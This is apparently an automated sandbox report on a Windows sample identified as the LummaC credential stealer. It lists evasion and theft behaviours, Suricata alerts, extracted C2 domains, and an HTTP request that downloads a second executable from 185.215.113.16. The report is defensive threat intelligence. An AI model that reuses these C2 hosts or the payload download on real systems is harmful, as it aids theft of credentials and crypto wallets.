Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572097
MD5:	779642924bb418c018837eb3e49ba53f
SHA1:	edcc79b3904ffd2e392fe1ea33b237e5d93eb797
SHA256:	7ed2d98eb66e17d40351af50fb44e86e043af8a5e3fb52c15d346c75e953db71
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5812 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 779642924BB418C018837EB3E49BA53F)

chrome.exe (PID: 4852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=1980,i,9850134868156104095,2027123724465788591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1160 --field-trial-handle=2008,i,16001316125916077205,5372674781634389717,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "formy-spill.biz", "se-blurry.biz", "atten-supporse.biz", "dare-curbys.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2158368253.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2160138342.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2131989417.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2085113656.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2157912087.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2132556482.000000000117D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2160226481.0000000001182000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2158368253.000000000117E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2131989417.000000000117D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2157912087.000000000117D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2132556482.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2108745068.00000000011D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2160312478.0000000001183000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5812	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5812	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5812	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 5812	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 12 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:01.210142+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:03.256368+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:05.810974+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.16.1	443	TCP
2024-12-10T05:47:08.131678+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.16.1	443	TCP
2024-12-10T05:47:10.624085+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.16.1	443	TCP
2024-12-10T05:47:13.282215+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.16.1	443	TCP
2024-12-10T05:47:15.735912+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	104.21.16.1	443	TCP
2024-12-10T05:47:21.444490+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:01.949468+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:04.296722+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:22.157981+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49716	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:01.949468+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:04.296722+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.16.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:01.210142+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:03.256368+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:05.810974+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	104.21.16.1	443	TCP
2024-12-10T05:47:08.131678+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	104.21.16.1	443	TCP
2024-12-10T05:47:10.624085+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	104.21.16.1	443	TCP
2024-12-10T05:47:13.282215+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	104.21.16.1	443	TCP
2024-12-10T05:47:15.735912+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	104.21.16.1	443	TCP
2024-12-10T05:47:21.444490+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49716	104.21.16.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:23.730161+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49723	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:46:59.685393+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.5	54559	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T05:47:14.035854+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49709	104.21.16.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/R	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apidnv	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apif%aX	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exed	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apite	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apio%hX	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/t	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.5812.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "formy-spill.biz", "se-blurry.biz", "atten-supporse.biz", "dare-curbys.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for domain / URL

Source: https://atten-supporse.biz/R	Virustotal: Detection: 17%			Perma Link
Source: http://185.215.113.16/off/def.exed	Virustotal: Detection: 16%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 50%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49822 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49716 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2340769586.00000000084A0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.5:54559 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49710 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49705 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49716 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49706 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49704 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.5:49709 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 104.21.16.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 04:47:23 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Tue, 10 Dec 2024 04:31:15 GMTConnection: keep-aliveETag: "6757c413-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 c9 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 71 66 67 6f 79 62 79 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 74 63 6f 67 76 71 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49723 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.16.1:443

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49822 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_115.5.dr, chromecache_101.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
